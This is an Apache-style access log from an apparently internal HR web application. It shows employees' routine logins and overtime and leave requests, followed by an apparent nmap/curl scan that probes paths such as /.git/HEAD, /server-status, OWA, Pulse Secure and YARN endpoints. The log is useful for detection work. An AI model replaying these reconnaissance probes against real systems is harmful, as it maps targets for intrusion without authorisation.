"http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.55 - - [04/Dec/2025:10:33:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:10:33:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.55 - - [04/Dec/2025:10:33:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:10:33:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.55 - - [04/Dec/2025:10:33:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:10:33:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.55 - - [04/Dec/2025:10:33:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:10:33:46 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.55 - - [04/Dec/2025:10:33:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:10:33:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.55 - - [04/Dec/2025:10:33:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:10:33:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.55 - - [04/Dec/2025:10:34:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03894555219994489 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:10:34:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03894555219994489 HTTP/1.1" 200 8736 192.168.11.55 - - [04/Dec/2025:10:34:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03894555219994489 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03894555219994489" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:10:34:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03894555219994489 HTTP/1.1" 200 14154 192.168.11.55 - - [04/Dec/2025:10:34:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:10:34:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 192.168.12.46 - - [04/Dec/2025:10:34:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:34:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 192.168.11.55 - - [04/Dec/2025:10:34:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [04/Dec/2025:10:34:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.46 - - [04/Dec/2025:10:34:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 92543 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:34:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 92543 100.64.0.1 - - [04/Dec/2025:10:41:54 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:10:41:54 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:10:43:40 +0800] "GET / HTTP/1.0" 200 439 "-" "-" 100.64.0.1 - - [04/Dec/2025:10:43:40 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /nmaplowercheck1764816289 HTTP/1.1" 404 222 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /nmaplowercheck1764816289 HTTP/1.1" 404 222 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /Huf9 HTTP/1.1" 404 202 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /Huf9 HTTP/1.1" 404 202 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /.git/HEAD HTTP/1.1" 404 207 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /.git/HEAD HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 439 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /Portal/Portal.mwsl HTTP/1.1" 404 216 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /Portal/Portal.mwsl HTTP/1.1" 404 216 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "POST /sdk HTTP/1.1" 404 201 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "POST /sdk HTTP/1.1" 404 201 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /webui HTTP/1.1" 404 203 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /webui HTTP/1.1" 404 203 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /server-status HTTP/1.1" 404 211 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /server-status HTTP/1.1" 404 211 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /default.shtml HTTP/1.1" 404 211 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /default.shtml HTTP/1.1" 404 211 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /docs/cplugError.html/ HTTP/1.1" 404 219 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /docs/cplugError.html/ HTTP/1.1" 404 219 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /user HTTP/1.1" 404 202 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /user HTTP/1.1" 404 202 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1" 200 439 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /pools/default/buckets HTTP/1.1" 404 219 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /pools/default/buckets HTTP/1.1" 404 219 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /localstart.cfm HTTP/1.1" 404 212 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /localstart.cfm HTTP/1.1" 404 212 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /CSS/Miniweb.css HTTP/1.1" 404 213 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /CSS/Miniweb.css HTTP/1.1" 404 213 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /HNAP1 HTTP/1.1" 404 203 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /HNAP1 HTTP/1.1" 404 203 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /webui HTTP/1.1" 404 203 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /webui HTTP/1.1" 404 203 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /pools HTTP/1.1" 404 203 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /pools HTTP/1.1" 404 203 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /user HTTP/1.1" 404 202 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /user HTTP/1.1" 404 202 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /menu.jsp HTTP/1.1" 404 206 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /menu.jsp HTTP/1.1" 404 206 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /Portal0000.htm HTTP/1.1" 404 212 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /Portal0000.htm HTTP/1.1" 404 212 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /indice.cfm HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /indice.cfm HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /human.aspx HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /human.aspx HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /owa/ HTTP/1.1" 404 202 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /owa/ HTTP/1.1" 404 202 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /__Additional HTTP/1.1" 404 210 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /__Additional HTTP/1.1" 404 210 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /home.jsp HTTP/1.1" 404 206 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /home.jsp HTTP/1.1" 404 206 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /human.aspx HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /human.aspx HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "HEAD / HTTP/1.1" 200 - "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "HEAD / HTTP/1.1" 200 - 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /owa/ HTTP/1.1" 404 202 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:06 +0800] "GET /owa/ HTTP/1.1" 404 202 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /dana-cached/hc/HostCheckerInstaller.osx HTTP/1.1" 404 237 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /dana-cached/hc/HostCheckerInstaller.osx HTTP/1.1" 404 237 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /base.html HTTP/1.1" 404 207 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /base.html HTTP/1.1" 404 207 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /dana-na/nc/nc_gina_ver.txt HTTP/1.1" 404 224 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /dana-na/nc/nc_gina_ver.txt HTTP/1.1" 404 224 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "curl/7.54.0" 100.64.0.1 - - [04/Dec/2025:10:45:07 +0800] "GET /favicon.ico HTTP/1.1" 404 209 